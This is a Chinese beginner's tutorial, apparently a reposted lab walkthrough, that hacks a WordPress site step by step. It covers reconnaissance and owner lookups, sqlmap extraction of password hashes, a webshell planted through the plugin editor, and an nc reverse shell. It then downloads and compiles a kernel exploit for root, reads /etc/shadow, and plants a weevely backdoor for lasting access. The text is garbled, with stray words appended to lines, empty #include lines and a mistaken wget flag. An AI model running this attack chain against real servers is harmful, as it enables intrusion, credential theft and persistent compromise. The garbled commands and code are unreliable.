從信息收集到入侵提權(滲透測試基礎總結)

經過本文你將瞭解黑客經常使用的入手思路和技術手法,適合熱愛網絡信息安全的新手朋友瞭解學習。本文將從最開始的信息收集開始講述黑客是如何一步步的攻破你的網站和服務器的.閱讀本文你會學到如下內容:php

1.滲透測試前的簡單信息收集。html

2.sqlmap的使用mysql

3.nmap的使用linux

4.nc反彈提權web

5.linux系統的權限提高sql

6.backtrack 5中滲透測試工具nikto和w3af的使用等.shell

假設黑客要入侵的你的網站域名爲:hack-test.com數據庫

讓咱們用ping命令獲取網站服務器的IP地址.apache

Web信息安全

如今咱們獲取了網站服務器的IP地址爲:173.236.138.113安全

尋找同一服務器上的其它網站,咱們使用sameip.org.

滲透測試

26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

173.236.138.113上有26個網站,不少黑客爲了攻破你的網站可能會檢查同服務器上的其它網站,可是本次是以研究爲目標,咱們將拋開服務器上的其它網站,只針對你的網站來進行入侵檢測。

We’ll need more information about your site, such as:

咱們須要關於你網站的如下信息:

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

讓咱們開始找你網站的DNS記錄,咱們用who.is來完成這一目標.

入侵檢測

咱們發現你的DNS記錄以下

web安全

讓咱們來肯定web服務器的類型

滲透測試

發現你的W eb服務器是apache,接下來肯定它的版本.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank:  1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit:  1 Month: 2.0 3 Month: 3.7

接下來是時候尋找你網站域名的註冊信息,你的電話、郵箱、地址等.

滲透測試

咱們如今已經獲取了你的網站域名的註冊信息,包括你的重要信息等.咱們能夠經過backtrack 5中的whatweb來獲取你的網站服務器操做系統類型和服務器的版本.

backtrack 5

backtrack 5

咱們發現你的網站使用了著名的php整站程序wordpress,服務器的的系統類型爲Fedora Linux,Web服務器版本Apache 2.2.15.繼續查看網站服務器開放的端口,用滲透測試工具nmap:

1-Find services that run on server(查看服務器上運行的服務)

nmap查看開放端口
2-Find server OS(查看操做系統版本)

nmap查看系統類型
只有80端口是開放的,操做系統是Linux2.6.22(Fedora Core 6),如今咱們已經收集了全部關於你網站的重要信息, 接下來開始掃描尋找漏洞,好比:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

咱們將使用Nikto來收集漏洞信息:

root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com

滲透測試工具backtrack 5
咱們也會用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af# ./w3af_gui

滲透測試工具w3af

咱們輸入要檢測的網站地址,選擇完整的安全審計選項.

滲透測試全過程

稍等一會,你將會看到掃描結果.

web入侵檢測

發現你的網站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.讓咱們來探討SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

咱們經過工具發現這個URL存在SQL注入,咱們經過Sqlmap來檢測這個url.

Using sqlmap with –u url

sqlmap使用教程

過一會你會看到

sqlmap使用教程

輸入N按回車鍵繼續

sqlmap使用教程

咱們發現你的網站存在mysql顯錯注入,mysql數據庫版本是5.0. 咱們經過加入參數」-dbs」來嘗試採集數據庫名.

 sqlmap使用教程

sqlmap讀取數據庫名

發現三個數據庫,接下來經過參數」-D wordpress -tables」來查看wordpress數據庫的全部表名

sqlmap讀取數據庫中的表

sqlmap讀取數據庫中的表

經過參數「-T wp_users –columns 」來查看wp_users表中的字段.

 sqlmap使用教程

sqlmap使用教程

接下來猜解字段user_login和user_pass的值.用參數」-C user_login,user_pass –dump」

咱們會發現用戶名和密碼hashes值. 咱們須要經過如下在線破解網站來破解密碼hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

hash在線破解

登錄wordpress的後臺wp-admin

嘗試上傳php webshell到服務器,以方便運行一些linux命令.在插件頁面尋找任何能夠編輯的插件. 咱們選擇Textile這款插件,編輯插入咱們的php webshell,點擊更新文件,而後訪問咱們的php webshell.
 

上傳漏洞得到webshell

上傳漏洞得到webshell

Php webshell被解析了,咱們能夠控制你網站的文件,可是咱們只但願得到網站服務器的root權限,來入侵服務器上其它的網站。

咱們用NC來反彈一個shell,首先在咱們的電腦上監聽5555端口.

NC反彈

而後在Php webshell上反向鏈接咱們的電腦,輸入你的IP和端口5555.
 

NC反彈

點擊鏈接咱們會看到
 

NC反彈

 

接下來咱們嘗試執行一些命令:

id
 
uid=48(apache) gid=489(apache) groups=489(apache)
 (用來顯示用戶的id和組)

pwd
 
/var/www/html/Hackademic_RTB1/wp-content/plugins
 (顯示服務器上當前的路徑)

uname -a
 
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示內核版本信息)

Linux基礎命令

如今咱們知道,服務器的內核版本是2.6.31.5-127.fc12.1686,咱們在exploit-db.com中搜索此版本的相關漏洞.
在服務器上測試了不少exp以後,咱們用如下的exp來提高權限.
http://www.exploit-db.com/exploits/15285
 
咱們在nc shell上執行如下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到服務器並重命名爲roro.c)
注:不少linux內核的exp都是C語言開發的,所以咱們保存爲.c擴展名.
exp roro.c代碼以下:
 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(「[*] Could not open socket.\n」);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

 
經過以上代碼咱們發現該exp是C語言開發的,咱們須要將他編譯成elf格式的,命令以下:
 
gcc roro.c –o roro
 
接下來執行編譯好的exp
 
./roro

 

exp編譯

 
執行完成以後咱們輸入id命令
 
id
 
咱們發現咱們已是root權限了
 
uid=0(root) gid=0(root)

Linux服務器提權

 
如今咱們能夠查看/etc/shadow文件
cat /etc/shadow
 

linux基礎命令

 
查看/etc/passwd 文件

cat /etc/passwd
 

linux基礎命令

 
咱們可使用」john the ripper」工具破解全部用戶的密碼.可是咱們不會這樣作,咱們須要在這個服務器上留下後門以方便咱們在任什麼時候候訪問它.

咱們用weevely製做一個php小立刻傳到服務器上.

1.weevely使用選項
root@bt:/pentest/backdoors/web/weevely# ./main.py -
 
weevely使用方法

2.用weevely建立一個密碼爲koko的php後門

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

weevely使用方法

接下來上傳到服務器以後來使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

weevely使用方法

 
測試咱們的hax.php後門

weevely使用方法

總結:

在這邊文章中咱們學到的一些技術正被黑客用來入侵你的網站和服務器,咱們但願能經過這篇文章可以對你將來維護服務器和網站安全有所幫助.

相關文章
相關標籤/搜索